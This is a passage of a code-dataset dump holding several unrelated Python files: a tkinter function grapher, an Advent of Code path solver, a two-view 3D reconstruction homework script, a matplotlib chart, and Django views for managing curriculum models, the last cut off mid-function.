entry1.grid(column = 1, row = 0)\n\n x1_label = tk.Label(frame, text = \"x^(\", font = \"Times 10\", bg = \"white\")\n x1_label.grid(column = 2, row = 0)\n\n entry2 = tk.Entry(frame, width = 4, textvariable = self.b_text)\n entry2.grid(column = 3, row = 0)\n\n x2_label = tk.Label(frame, text = \"x - \", font = \"Times 10\", bg = \"white\")\n x2_label.grid(column = 4, row = 0)\n\n entry3 = tk.Entry(frame, width = 4, textvariable = self.c_text)\n entry3.grid(column = 5, row = 0)\n\n x3_label = tk.Label(frame, text = \") - \", font = \"Times 10\", bg = \"white\")\n x3_label.grid(column = 6, row = 0)\n\n entry4 = tk.Entry(frame, width = 4, textvariable = self.d_text)\n entry4.grid(column = 7, row = 0)\n\n def delete(self):\n self.functions.destroy()\n self.window.delete_line(self.line, self.id)\n self.window.functions_id -= 1\n\n def entry_callback(self, event1, event2, event3):\n try:\n self.a = float(self.a_text.get())\n except ValueError:\n if self.a_text.get() == \"-\":\n self.a = 0\n self.a_text.set(\"-\")\n if \"/\" in self.a_text.get():\n self.a = float(eval(self.a_text.get()))\n else:\n self.a = 0\n self.a_text.set(\"\")\n try:\n self.b = float(self.b_text.get())\n except ValueError:\n if self.b_text.get() == \"-\":\n self.b = 0\n self.b_text.set(\"-\")\n if \"/\" in self.b_text.get():\n self.b = float(eval(self.a_text.get()))\n else:\n self.b = 0\n self.b_text.set(\"\")\n try:\n self.c = float(self.c_text.get())\n except ValueError:\n if self.c_text.get() == \"-\":\n self.c = 0\n self.c_text.set(\"-\")\n if \"/\" in self.c_text.get():\n self.c = float(eval(self.a_text.get()))\n else:\n self.c = 0\n self.c_text.set(\"\")\n try:\n self.d = float(self.d_text.get())\n except ValueError:\n if self.d_text.get() == \"-\":\n self.d = 0\n self.d_text.set(\"-\")\n if \"/\" in self.d_text.get():\n self.d = float(eval(self.a_text.get()))\n else:\n self.d = 0\n self.d_text.set(\"\")\n self.update_line()\n\n def __init__(self, GraphWindow, frame, root, id):\n self.window = GraphWindow\n print(\"ID in __init__: \", id)\n self.id = id\n self.a = random.randint(-5, 5)\n self.b = random.randint(1, 10)\n self.c = random.randint(1, 10)\n self.d = random.randint(1, 10)\n self.a_text = StringVar(root)\n self.b_text = StringVar(root)\n self.c_text = StringVar(root)\n self.d_text = StringVar(root)\n self.a_text.set(self.a)\n self.b_text.set(self.b)\n self.c_text.set(self.c)\n self.d_text.set(self.d)\n self.degree = StringVar(root)\n # colors = [\"blue\", \"yellow\", \"black\", \"purple\", \"red\", \"green\"]\n self.functions = tk.Frame(frame, bg = \"white\", highlightbackground = 'black', highlightcolor = \"black\",\n highlightthickness = 1) # bg=random.choice(colors))\n self.functions.pack(side = 'top', pady = 1, padx = 10)\n self.function = tk.Frame(self.functions, bg = \"white\") # bg='yellow')\n self.function.pack(side = 'left', padx = 40, pady = 10)\n\n options_list = [\"First degree\", \"Second degree\", \"Third degree\", \"Logarithm\", \"sin(x)\", \"cos(x)\", \"tan(x)\",\n \"arcsin(x)\", \"arccos(x)\", \"arctan(x)\", \"√(x)\", \"x\\u207F\"]\n options = ttk.OptionMenu(self.functions, self.degree, options_list[0], *options_list, command = self.drop_down)\n options.pack(side = 'right', padx = 50)\n self.drop_down(options_list[0], firsttime = True)\n\n delete_button = ttk.Button(self.functions, text = 'Delete', command = lambda: self.delete())\n delete_button.pack(side = 'right')\n\n self.a_text.trace_add(\"write\", self.entry_callback)\n self.b_text.trace_add(\"write\", self.entry_callback)\n self.c_text.trace_add(\"write\", self.entry_callback)\n self.d_text.trace_add(\"write\", self.entry_callback)\n\n\nclass GraphWindow(Graph, FunctionBar):\n\n def new_function(self):\n if self.functions_id > 13:\n pass\n else:\n self.functions_id += 1\n temp = FunctionBar(self, self.functions_frame, self.root, self.functions_id)\n Graph.add_line(self, temp, self.ax, self.functions_id)\n\n def create_widgets(self):\n window_frame = tk.Frame(self.root, bg = \"white\")\n window_frame.pack(expand = True, fill = 'both')\n\n top_label = tk.Label(window_frame, font = \"Times 20\", text = \"Graph your functions here!\", bg = \"white\")\n top_label.pack()\n\n frame = tk.Frame(window_frame, bg = 'white')\n frame.pack(expand = True, fill = 'y')\n\n self.functions_frame = tk.Canvas(frame, bg = \"white\", highlightbackground = 'white', highlightcolor = \"white\")\n self.functions_frame.pack(side = \"left\", expand = True, fill = 'both')\n help(self.functions_frame.create_window)\n self.functions_frame.create_window(0, 0)\n\n add_button = ttk.Button(frame, text = 'Add function', command = lambda: self.new_function())\n add_button.pack(anchor = 'ne', side = 'right', padx = 10)\n\n def update(self, val):\n x_pos = self.s_time_x.val\n y_pos = self.s_time_y.val\n self.ax.axis([x_pos - 10, x_pos + 10, y_pos - 10, y_pos + 10])\n self.f.canvas.draw_idle()\n\n def __init__(self):\n self.root = tk.Tk()\n self.root.title(\"Function Graphing\")\n self.root.config(bg = \"white\")\n self.root.geometry(\"1600x800\")\n self.f = Figure(figsize = (8, 8), dpi = 100)\n self.ax = self.f.add_subplot(1, 1, 1)\n super().__init__(self.f, self.root)\n\n self.ax.spines['left'].set_position('zero')\n self.ax.spines['bottom'].set_position('zero')\n self.ax.spines['top'].set_color('none')\n self.ax.spines['right'].set_color('none')\n major_ticks = numpy.arange(-110, 110, 1)\n minor_ticks = numpy.arange(-110, 110, 0.5)\n self.ax.set_xticks(major_ticks)\n self.ax.set_xticks(minor_ticks, minor = True)\n self.ax.set_yticks(major_ticks)\n self.ax.set_yticks(minor_ticks, minor = True)\n self.ax.grid(which = 'both')\n self.ax.set_ylim((-10, 10))\n self.x_lim = 10\n self.ax.set_xlim(- self.x_lim, self.x_lim)\n\n self.ax_x = self.f.add_axes([0.12, 0.070, 0.78, 0.03])\n self.ax_y = self.f.add_axes([0.12, 0.015, 0.78, 0.03])\n self.s_time_x = Slider(self.ax_x, 'X value', -10, 10, valinit = 0)\n self.s_time_y = Slider(self.ax_y, 'Y value', -10, 10, valinit = 0)\n\n self.s_time_x.on_changed(self.update)\n self.s_time_y.on_changed(self.update)\n\n self.functions_id = -1\n self.function_list = []\n self.create_widgets()\n\n self.new_function()\n # self.root.bind(\"\", self.print_wh)\n self.root.mainloop()\n\n\nif __name__ == \"__main__\":\n GraphWindow()\n","sub_path":"fuction_drawer/function_drawer.py","file_name":"function_drawer.py","file_ext":"py","file_size_in_byte":24165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"49220732","text":"\"\"\"day 24 part 1\"\"\"\nimport time\nfrom collections import namedtuple\nfrom itertools import combinations, permutations\n\nLocation = namedtuple('Location', ['x', 'y', 'n'])\n\n\ndef parse_puzzle(p):\n \"\"\"parse the puzzle\"\"\"\n nums = {}\n blocked = set()\n\n for i, line in enumerate(p):\n for j, l in enumerate(line):\n if l == '#':\n blocked.add((i, j))\n elif l != '.':\n nums[int(l)] = (i, j)\n\n return nums, blocked\n\n\nclass Puzzle():\n \"\"\"Puzzle class\"\"\"\n\n def __init__(self, inpt):\n self.nums, self.blocked = parse_puzzle(inpt)\n self.shape = (len(inpt[0]), len(inpt))\n\n def solve(self):\n \"\"\"main solve method\"\"\"\n\n # find all min dists\n dists = {}\n for s, e in combinations(self.nums.keys(), 2):\n dist = self.find_dist(self.nums[s], self.nums[e])\n dists[(s, e)] = dist\n dists[(e, s)] = dist\n\n # find min covering path\n start = time.time()\n res = self.brute_force(dists)\n print(f'Brute Force: {time.time() - start}')\n print(res)\n\n start = time.time()\n res = self.min_covering(dists)\n print(f'Algo: {time.time() - start}')\n print(res)\n\n return res\n\n def find_dist(self, start, end):\n \"\"\"find the minimum distance between two points\"\"\"\n queue = [Location(start[0], start[1], 0)]\n visited = {start}\n # breadth first search\n while queue:\n loc = queue.pop(0)\n\n # try all 4 directions\n for new_loc in [(loc.x + 1, loc.y), (loc.x - 1, loc.y),\n (loc.x, loc.y + 1), (loc.x, loc.y - 1)]:\n\n # make sure we haven't been there or it's blocked\n if new_loc not in self.blocked and new_loc not in visited:\n # if at the end then return\n if new_loc == end:\n return loc.n + 1\n # add to list and visited\n queue.append(Location(new_loc[0], new_loc[1], loc.n + 1))\n visited.add(new_loc)\n\n raise ValueError\n\n def brute_force(self, dists):\n \"\"\"brute force method\"\"\"\n vals = list(self.nums.keys())\n vals.remove(0)\n best = 100000\n order = None\n for p in permutations(vals):\n tot = dists[(0, p[0])]\n for i, v in enumerate(p[1:]):\n tot += dists[(p[i], v)]\n # add on the ending at 0\n tot += dists[(p[-1], 0)]\n\n if tot < best:\n best = tot\n order = p\n\n print([0] + list(order) + [0])\n return best\n\n def min_covering(self, dists):\n \"\"\"run TSP algo\"\"\"\n vals = list(self.nums.keys())\n vals.remove(0)\n c = {}\n for v in vals:\n c[((v, ), v)] = dists[(0, v)]\n\n for s in range(2, len(vals) + 1):\n for p in permutations(vals, s):\n for v in p:\n sub_p = list(p)\n sub_p.remove(v)\n sub_p = tuple(sub_p)\n c[(p, v)] = min(\n [c[(sub_p, m)] + dists[(m, v)] for m in sub_p])\n\n return min([\n v + dists[(k[1], 0)] for k, v in c.items()\n if len(k[0]) == len(vals)\n ])\n\n\nif __name__ == '__main__':\n test = \"\"\"###########\n#0.1.....2#\n#.#######.#\n#4.......3#\n###########\"\"\"\n print(Puzzle(test.split('\\n')).solve())\n print(Puzzle(open('24_input').read().split('\\n')).solve())\n","sub_path":"2016/24_02.py","file_name":"24_02.py","file_ext":"py","file_size_in_byte":3569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"67444716","text":"import numpy as np\nimport cv2\nimport scipy.io\nimport matplotlib.pyplot as plt\nfrom matplotlib.lines import Line2D\nfrom my_functions import *\n#from mpl_toolkits.mplot3d import Axes3D\n#from IPython import embed\n\n# \"\"\"\n# Homework 2: 3D reconstruction from two Views\n# This function takes as input the name of the image pairs (i.e. 'house' or\n# 'library') and returns the 3D points as well as the camera matrices...but\n# some functions are missing.\n# NOTES\n# (1) The code has been written so that it can be easily understood. It has \n# not been written for efficiency.\n# (2) Don't make changes to this main function since I will run my\n# reconstruct_3d.m and not yours. I only want from you the missing\n# functions and they should be able to run without crashing with my\n# reconstruct_3d.m\n# (3) Keep the names of the missing functions as they are defined here,\n# otherwise things will crash\n# \"\"\"\n\nVISUALIZE = False\n\ndef reconstruct_3d(name):\n\t# ------- Load images, K matrices and matches -----\n\tdata_dir = \"../data/{}\".format(name)\n\n\t# images\n\tI1 = cv2.imread(f\"{data_dir}/{name}1.jpg\")\n\tI2 = cv2.imread(f\"{data_dir}/{name}2.jpg\")\n\t# of shape (H,W,C)\n\n\t# K matrices\n\tK1 = scipy.io.loadmat(f\"{data_dir}/{name}1_K.mat\")[\"K\"]\n\tK2 = scipy.io.loadmat(f\"{data_dir}/{name}2_K.mat\")[\"K\"]\n\n\t# corresponding points\n\tlines = open(f\"{data_dir}/{name}_matches.txt\").readlines()\n\tmatches = np.array([list(map(float, line.split())) for line in lines])\n\n\t# this is a N x 4 where:\n\t# matches(i,1:2) is a point (w,h) in the first image\n\t# matches(i,3:4) is the corresponding point in the second image\n\n\tif VISUALIZE:\n\t\tfig = plt.figure()\n\t\tax = fig.add_subplot(111)\n\t\tplt.imshow(np.concatenate([I1, I2], axis=1))\n\t\tplt.plot(matches[:, 0], matches[:, 1], \"+r\")\n\t\tplt.plot(matches[:, 2] + I1.shape[1], matches[:, 3], \"+r\")\n\t\tfor i in range(matches.shape[0]):\n\t\t\tline = Line2D([matches[i, 0], matches[i, 2] + I1.shape[1]], [matches[i, 1], matches[i, 3]], linewidth=1,\n\t\t\t\t\t\t color=\"r\")\n\t\t\t#ax.add_line(line)\n\t\tplt.savefig(f\"{data_dir}/{name}_matches.jpg\")\n\t\t#plt.show()\n\n\t## -------------------------------------------------------------------------\n\t## --------- Find fundamental matrix --------------------------------------\n\n\t# F : the 3x3 fundamental matrix,\n\t# res_err : mean squared distance between points in the two images and their\n\t# their corresponding epipolar lines\n\n\t(F, res_err) = fundamental_matrix(matches) # <------------------------------------- You write this one!\n\tprint(f\"Residual in F = {res_err}\")\n\tprint('the fundamental matrix F is {}'.format(F))\n\tE = K2.T @ F @ K1\n\n\t## -------------------------------------------------------------------------\n\t## ---------- Rotation and translation of camera 2 ------------------------\n\n\t# R : cell array with the possible rotation matrices of second camera\n\t# t : cell array of the possible translation vectors of second camera\n\t(R, t) = find_rotation_translation(E) # <------------------------------------- You write this one!\n\n\tprint(t)\n\tprint(R)\n\n\n\t# Find R2 and t2 from R,t such that largest number of points lie in front\n\t# of the image planes of the two cameras\n\tP1 = K1 @ np.concatenate([np.identity(3), np.zeros((3, 1))], axis=1)\n\n\t# the number of points in front of the image planes for all combinations\n\tnum_points = np.zeros([len(t), len(R)])\n\terrs = np.full([len(t), len(R)], np.inf)\n\n\tfor ti in range(len(t)):\n\t\tt2 = t[ti]\n\t\tfor ri in range(len(R)):\n\t\t\tR2 = R[ri]\n\t\t\tP2 = K2 @ np.concatenate([R2, t2[:, np.newaxis]], axis=1)\n\t\t\t(points_3d, errs[ti,ri]) = find_3d_points(P1, P2, matches) #<---------------------- You write this one!\n\t\t\tZ1 = points_3d[:,2]\n\t\t\tZ2 = (points_3d @ R2[2,:].T + t2[2])\n\t\t\tnum_points[ti,ri] = np.sum(np.logical_and(Z1>0,Z2>0))\n\t(ti,ri) = np.where(num_points==np.max(num_points))\n\tj = 0 # pick one out the best combinations\n\tprint(f\"Reconstruction error = {errs[ti[j],ri[j]]}\")\n\n\tt2 = t[ti[j]]\n\tR2 = R[ri[j]]\n\n\t# print(num_points)\n\t# print(errs)\n\t# print(t2)\n\t# print(R2)\n\n\tP2 = K2 @ np.concatenate([R2, t2[:, np.newaxis]], axis=1)\n\n\t# % compute the 3D points with the final P2\n\tpoints, _, matches_hat = find_3d_points(P1, P2, matches, True) # <---------------------------------------------- You have already written this one!\n\n\t## -------- plot points and centers of cameras ----------------------------\n\n\tplot_3d(points, t2, R2) #<-------------------------------------------------------------- You write this one!\n\t#visualize_matches(I1, I2, matches_hat)\n\nif __name__ == \"__main__\":\n\treconstruct_3d('library')","sub_path":"hw3_package/starter_code/code/reconstruct_3d.py","file_name":"reconstruct_3d.py","file_ext":"py","file_size_in_byte":4499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"409338128","text":"import matplotlib.pyplot as plt\nimport matplotlib\nfrom matplotlib.ticker import MultipleLocator\nimport numpy as np\n\ny = [92.6, 87.8, 82.6, 73.0, 70.4]\ny2 = [87.2, 93.3, 85, 77.9, 80]\nx = [1, 2, 3, 4, 5]\n\nplt.rcParams[\"font.family\"] = \"Times New Roman\"\n\nfig, axes = plt.subplots(1, 1, figsize=(8, 4))\n# 折线图\naxes.plot(x, y, linestyle='-', color='#DE6B58', marker='x', linewidth=1.5)\naxes.plot(x, y2, linestyle='-', color='#E1A084', marker='x', linewidth=1.5)\n# 设置最小刻度间隔\naxes.yaxis.set_minor_locator(MultipleLocator(2.5))\naxes.xaxis.set_minor_locator(MultipleLocator(0.5))\n# 画网格线\naxes.grid(which='minor', c='lightgrey')\n# 设置x、y轴标签\naxes.set_ylabel(\"Generation Consistency\")\naxes.set_xlabel(\"KB Row Number\")\n# 设置y轴的刻度\naxes.set_yticks([70, 75, 80, 85, 90, 95])\n# 对每个数据点加标注\nfor x_, y_ in zip(x, y):\n axes.text(x_, y_, y_, ha='left', va='bottom')\nfor x_, y_ in zip(x, y2):\n axes.text(x_, y_, y_, ha='left', va='bottom')\n# 展示图片\nplt.show()\nfig.savefig(\"折线图.png\", dpi=800)\n","sub_path":"part1:折线图、柱状图、饼图/代码/折线图.py","file_name":"折线图.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"295237296","text":"from django.shortcuts import render\nfrom home.models import Etudiant, ModeleFormation, ModeleSemestre, ModeleUE, ModeleModule, SemestrePossible, SemestreAnnualise, Association_Etudiant_SemestreAnnualise, MoyenneSemestre, BAC, MentionBACPossible, TypeBAC, TypeCursus, CursusPossible, CursusPreDUT, CursusPostDUT\nfrom home.forms import ModuleForm, UEForm, SemestreForm, ModeleForm, BACForm, CursusForm\n\n# Create your views here.\ndef homeFormation(request):\n\treturn homeFormationMessage(request, False)\n\ndef homeFormationMessage(request, messageAAfficher):\n\t# liste de tout les modeles\n\tmodelesCursusDUT = ModeleFormation.objects.all().order_by('-id')\n\t\n\t# on détermine quel sont les models supprimable\n\tmodelesNonSupprimable = set()\n\tsemestresAnnu = SemestreAnnualise.objects.all()\n\t\n\tfor sem in semestresAnnu:\n\t\tmodelesNonSupprimable.add(sem.modeleFormation)\n\t\n\tform = ModeleForm()\n\t\n\t# on affiche\n\treturn render(request, 'enseignementManager/ModelesOnglets.html', locals())\n\t\ndef creerTreeViewModeleFormation(request):\n\t\n\tform = ModeleForm(request.POST)\n\t\n\tif form.is_valid():\n\t\t\n\t\ttry:\n\t\t\tmodeleExistant = ModeleFormation.objects.get(nom=request.POST['nom'])\n\t\t\t\n\t\t\t# Erreur, nom de modèle déjà existant.\n\t\t\ttitreErreur = 'Erreur de création du modèle.'\n\t\t\tmessageErreur = 'Le nom du modèle doit être unique.'\n\t\t\tdetailsErreur = []\n\t\t\tdetailsErreur.append('Il existe déjà un modèle nommé : \\'' + request.POST['nom'] + '\\'')\n\t\t\t\n\t\t\treturn render(request, 'erreurUtilisateur.html', locals())\n\t\t\t\n\t\texcept ModeleFormation.DoesNotExist:\n\t\t\t\n\t\t\t# le cursus n'existe pas, on peut le rajouter\n\t\t\tmodele = form.save()\n\t\t\t\n\t\t\t#on crée une structure minimale pour le cursus avec au moins les 4 semestres\n\t\t\t\n\t\t\tModeleSemestre(intitule='Semestre 1', typeSemestre=SemestrePossible.objects.get(semestre='S1'), modeleFormation=modele).save()\n\t\t\tModeleSemestre(intitule='Semestre 2', typeSemestre=SemestrePossible.objects.get(semestre='S2'), modeleFormation=modele).save()\n\t\t\tModeleSemestre(intitule='Semestre 3', typeSemestre=SemestrePossible.objects.get(semestre='S3'), modeleFormation=modele).save()\n\t\t\tModeleSemestre(intitule='Semestre 4', typeSemestre=SemestrePossible.objects.get(semestre='S4'), modeleFormation=modele).save()\n\t\t\t\n\t\t\tsemestres = ModeleSemestre.objects.filter(modeleFormation=modele).order_by('typeSemestre')\n\t\t\t\n\t\t\tsemestresNonSupprimableEtudiant = []\n\t\t\t\n\t\t\t# on empeche de supprimer un semestre si il est le seul de ce type (il faut toujours au moins 4 semestres)\n\t\t\tsemestresNonSupprimableStructureMinimum = []\n\t\t\tfor semestre in semestres:\n\t\t\t\tlisteSem = ModeleSemestre.objects.filter(modeleFormation=semestre.modeleFormation, typeSemestre=semestre.typeSemestre)\n\t\t\t\tif len(listeSem) < 2:\n\t\t\t\t\tsemestresNonSupprimableStructureMinimum.append(semestre)\n\t\t\t\n\t\t\t# on détermine les semestres dont on peut modifier le structure (aucune moyenne relié à ce semestre)\n\t\t\tsemestresStructureNonAlterable = []\n\t\t\t\n\t\t\tUEs = []\n\t\t\tmodules = []\n\t\t\t\n\t\t\treturn render(request, 'enseignementManager/treeViewModeleFormation.html', locals())\n\t\ndef modifierTreeViewModeleFormation(request, idModele):\n\t\n\tmodele = ModeleFormation.objects.get(id=idModele)\n\t\n\t# les semestres qui font partie de ce modele\n\tsemestres = ModeleSemestre.objects.filter(modeleFormation=modele).order_by('typeSemestre')\n\t\n\t# on détermine les semestres qui sont supprimable (aucun étudiant n'y est inscrit)\n\tsemestresNonSupprimableEtudiant = []\n\tassocs = Association_Etudiant_SemestreAnnualise.objects.all()\n\tfor assoc in assocs:\n\t\tsemestresNonSupprimableEtudiant.append(assoc.modeleSemestre)\n\t\n\t# on empeche de supprimer un semestre si il est le seul de ce type (il faut toujours au moins 4 semestres)\n\tsemestresNonSupprimableStructureMinimum = []\n\tfor semestre in semestres:\n\t\tlisteSem = ModeleSemestre.objects.filter(modeleFormation=semestre.modeleFormation, typeSemestre=semestre.typeSemestre)\n\t\tif len(listeSem) < 2:\n\t\t\tsemestresNonSupprimableStructureMinimum.append(semestre)\n\t\n\t# on détermine les semestres dont on peut modifier le structure (aucune moyenne relié à ce semestre)\n\tsemestresStructureNonAlterable = []\n\tmoyennesSemestre = MoyenneSemestre.objects.all()\n\tfor moy in moyennesSemestre:\n\t\tsemestresStructureNonAlterable.append(moy.modeleSemestre)\n\t\n\t# les UEs qui font partie de ce modele\n\tUEs = []\n\t\n\tfor semestre in semestres:\n\t\tuesDuSemestre = ModeleUE.objects.filter(modeleSemestre=semestre)\n\t\tfor ue in uesDuSemestre:\n\t\t\tUEs.append(ue)\n\t\n\t# les modules qui font partie de ce modele\n\tmodules = []\n\t\n\tfor ue in UEs:\n\t\tmodulesDeUE = ModeleModule.objects.filter(modeleUE=ue)\n\t\tfor module in modulesDeUE:\n\t\t\tmodules.append(module)\n\t\n\treturn render(request, 'enseignementManager/treeViewModeleFormation.html', locals())\n\ndef supprimerModeleFormation(request, idModele):\n\t\n\ttry:\n\t\tmodele = ModeleFormation.objects.get(id=idModele)\n\texcept ModeleFormation.DoesNotExist:\n\t\ttitreErreur = 'Erreur de suppression du modèle de formation'\n\t\tmessageErreur = 'Le modèle de formation que vous souhaitez supprimer n\\'existe pas.'\n\t\tdetailsErreur = []\n\t\tpageRetour = '/gestionEnseignement/formation'\n\t\treturn render(request, 'erreurUtilisateur.html', locals())\n\t\n\tif request.method == 'POST' and 'formulaireDeConfirmation' in request.POST:\n\t\t\n\t\tmessageAAfficher = 'Le modèle ' + modele.nom + ' a bien été supprimé'\n\t\tmodele.delete()\n\t\treturn homeFormationMessage(request, messageAAfficher)\n\t\n\telse:\n\t\t\n\t\tactionUtilisateur = 'Supprimer le modèle de formation ' + modele.nom\n\t\tvaleursPOSTAConserver = []\n\t\tlienActionUtilisateur = '/gestionEnseignement/supprimerModeleFormation/' + idModele\n\t\treturn render(request, 'pageConfirmation.html', locals())\n\t\ndef paramModifierInformationsModeleFormation(request, idModele):\n\t\n\tmodele = ModeleFormation.objects.get(id=idModele)\n\tform = ModeleForm(instance=modele)\n\t\n\treturn render(request, 'enseignementManager/modifierInformationModeleFormation.html', locals())\n\t\ndef modifierInformationsModeleFormation(request):\n\t\n\tmodele = ModeleFormation.objects.get(id=request.POST['idModele'])\n\tform = ModeleForm(request.POST, instance=modele)\n\t\n\tif form.is_valid():\n\t\tform.save()\n\t\n\treturn modifierTreeViewModeleFormation(request, request.POST['idModele'])\n\ndef copierModeleFormation(request, idModele):\n\t\n\t# On récupère le modèle de formation à copier\n\ttry:\n\t\tmodeleFormationOriginal = ModeleFormation.objects.get(id=idModele)\n\texcept ModeleFormation.DoesNotExist:\n\t\ttitreErreur = 'Erreur de copie du modèle de formation'\n\t\tmessageErreur = 'Le modèle de formation que vous souhaitez copier n\\'existe pas.'\n\t\tdetailsErreur = []\n\t\tpageRetour = '/gestionEnseignement/formation'\n\t\treturn render(request, 'erreurUtilisateur.html', locals())\n\t\n\t# On crée le nouveau modèle de formation\n\t\n\t# 1) On cherche le premier nom de copie disponible\n\tnumCopie = 1\n\tmodeleExistant = ModeleFormation.objects.filter(nom=modeleFormationOriginal.nom + '_copie_' + str(numCopie))\n\twhile modeleExistant:\n\t\tnumCopie = numCopie + 1\n\t\tmodeleExistant = ModeleFormation.objects.filter(nom=modeleFormationOriginal.nom + '_copie_' + str(numCopie))\n\t\n\t# 2) On crée le modèle\n\tmodeleFormationCopie = ModeleFormation(nom=modeleFormationOriginal.nom + '_copie_' + str(numCopie), description=modeleFormationOriginal.description)\n\tmodeleFormationCopie.save()\n\t\n\t# On récupère la liste des modèles de semestre du modèle de formation à copier\n\tlisteModelesSemetresOrigine = ModeleSemestre.objects.filter(modeleFormation=modeleFormationOriginal)\n\t\n\t# pour chaque semestre du modèle d'origine\n\tfor modeleSemestreOrigine in listeModelesSemetresOrigine:\n\t\n\t\t# On crée une copie du semestre\n\t\tmodeleSemestreCopie = ModeleSemestre(intitule=modeleSemestreOrigine.intitule, modeleFormation=modeleFormationCopie, typeSemestre=modeleSemestreOrigine.typeSemestre)\n\t\tmodeleSemestreCopie.save()\n\t\t\n\t\t# On copie la sous arborescence du semestre\n\t\tlisteModelesUEsOrigine = ModeleUE.objects.filter(modeleSemestre=modeleSemestreOrigine)\n\t\tfor modeleUEOrigine in listeModelesUEsOrigine:\n\t\t\t\n\t\t\tmodeleUECopie = ModeleUE(code=modeleUEOrigine.code, intitule=modeleUEOrigine.intitule, coefficient=modeleUEOrigine.coefficient, modeleSemestre=modeleSemestreCopie)\n\t\t\tmodeleUECopie.save()\n\t\t\t\n\t\t\tlisteModelesModulesOrigine = ModeleModule.objects.filter(modeleUE=modeleUEOrigine)\n\t\t\tfor modeleModuleOrigine in listeModelesModulesOrigine:\n\t\t\t\t\n\t\t\t\tmodeleModuleCopie = ModeleModule(code=modeleModuleOrigine.code, intitule=modeleModuleOrigine.intitule, coefficient=modeleModuleOrigine.coefficient, modeleUE=modeleUECopie)\n\t\t\t\tmodeleModuleCopie.save()\n\t\n\treturn homeFormationMessage(request, 'Le modèle ' + modeleFormationOriginal.nom + ' a été copié sous le nom ' + modeleFormationCopie.nom)\n\t\ndef paramModifierSemestre(request, idModele, idSemestre):\n\t\n\tsemestre = ModeleSemestre.objects.get(id=idSemestre)\n\tform = SemestreForm(instance=semestre)\n\t\n\treturn render(request, 'enseignementManager/modifierSemestre.html', locals())\n\t\ndef modifierSemestre(request):\n\tsemestre = ModeleSemestre.objects.get(id=request.POST['idSemestre'])\n\tform = SemestreForm(request.POST, instance=semestre)\n\t\n\tif form.is_valid():\n\t\tform.save()\n\t\n\treturn modifierTreeViewModeleFormation(request, request.POST['idModele'])\n\t\ndef paramAjouterSemestre(request, idModele):\n\t\n\tmodele = ModeleFormation.objects.get(id=idModele)\n\tform = SemestreForm()\n\t\n\treturn render(request, 'enseignementManager/ajouterSemestre.html', locals())\n\t\ndef ajouterSemestre(request):\n\tprint(request.POST)\n\tform = SemestreForm(request.POST)\n\t\n\tif form.is_valid():\n\t\tsemestre = form.save(commit = False)\n\t\tsemestre.modeleFormation = ModeleFormation.objects.get(id=request.POST['idModele'])\n\t\tsemestre.typeSemestre = SemestrePossible.objects.get(semestre=request.POST['typeSemestre'])\n\t\tsemestre.save()\n\t\n\treturn modifierTreeViewModeleFormation(request, request.POST['idModele'])\n\t\ndef supprimerSemestre(request, idModele, idSemestre):\n\t\n\ttry:\n\t\tmodeleSemestre = ModeleSemestre.objects.get(id=idSemestre)\n\texcept ModeleSemestre.DoesNotExist:\n\t\ttitreErreur = 'Erreur de suppression du modèle de semestre'\n\t\tmessageErreur = 'Le modèle de semestre que vous souhaitez supprimer n\\'existe pas.'\n\t\tdetailsErreur = []\n\t\tpageRetour = '/gestionEnseignement/modifierTreeViewModeleFormation/' + idModele\n\t\treturn render(request, 'erreurUtilisateur.html', locals())\n\t\n\tif request.method == 'POST' and 'formulaireDeConfirmation' in request.POST:\n\t\n\t\tmodeleSemestre.delete()\n\t\treturn modifierTreeViewModeleFormation(request, idModele)\n\t\n\telse:\n\t\t\n\t\tactionUtilisateur = 'Supprimer le modèle de semestre ' + modeleSemestre.intitule\n\t\tvaleursPOSTAConserver = []\n\t\tlienActionUtilisateur = '/gestionEnseignement/supprimerSemestre/' + idModele + '/' + idSemestre\n\t\treturn render(request, 'pageConfirmation.html', locals())\n\t\ndef paramModifierUE(request, idModele, idUE):\n\t\n\tue = ModeleUE.objects.get(id=idUE)\n\tform = UEForm(instance=ue)\n\t\n\treturn render(request, 'enseignementManager/modifierUE.html', locals())\n\t\ndef modifierUE(request):\n\tue = ModeleUE.objects.get(id=request.POST['idUE'])\n\tform = UEForm(request.POST, instance=ue)\n\t\n\tif form.is_valid():\n\t\tform.save()\n\t\n\treturn modifierTreeViewModeleFormation(request, request.POST['idModele'])\n\t\ndef paramAjouterUE(request, idModele, idSemestre):\n\t\n\tsemestre = ModeleSemestre.objects.get(id=idSemestre)\n\tform = UEForm()\n\t\n\treturn render(request, 'enseignementManager/ajouterUE.html', locals())\n\t\ndef ajouterUE(request):\n\tform = UEForm(request.POST)\n\t\n\tif form.is_valid():\n\t\tue = form.save(commit = False)\n\t\tue.modeleSemestre = ModeleSemestre.objects.get(id=request.POST['idSemestre'])\n\t\tue.save()\n\t\n\treturn modifierTreeViewModeleFormation(request, request.POST['idModele'])\n\t\ndef supprimerUE(request, idModele, idUE):\n\t\n\ttry:\n\t\tmodeleUE = ModeleUE.objects.get(id=idUE)\n\texcept ModeleUE.DoesNotExist:\n\t\ttitreErreur = 'Erreur de suppression du modèle d\\'UE'\n\t\tmessageErreur = 'Le modèle d\\'UE que vous souhaitez supprimer n\\'existe pas.'\n\t\tdetailsErreur = []\n\t\tpageRetour = '/gestionEnseignement/modifierTreeViewModeleFormation/' + idModele\n\t\treturn render(request, 'erreurUtilisateur.html', locals())\n\t\n\tif request.method == 'POST' and 'formulaireDeConfirmation' in request.POST:\n\t\n\t\tmodeleUE.delete()\n\t\treturn modifierTreeViewModeleFormation(request, idModele)\n\t\n\telse:\n\t\t\n\t\tactionUtilisateur = 'Supprimer le modèle d\\'UE ' + modeleUE.intitule\n\t\tvaleursPOSTAConserver = []\n\t\tlienActionUtilisateur = '/gestionEnseignement/supprimerUE/' + idModele + '/' + idUE\n\t\treturn render(request, 'pageConfirmation.html', locals())\n\ndef paramModifierModule(request, idModele, idModule):\n\t\n\tmodule = ModeleModule.objects.get(id=idModule)\n\tform = ModuleForm(instance=module)\n\t\n\treturn render(request, 'enseignementManager/modifierModule.html', locals())\n\t\ndef modifierModule(request):\n\tmodule = 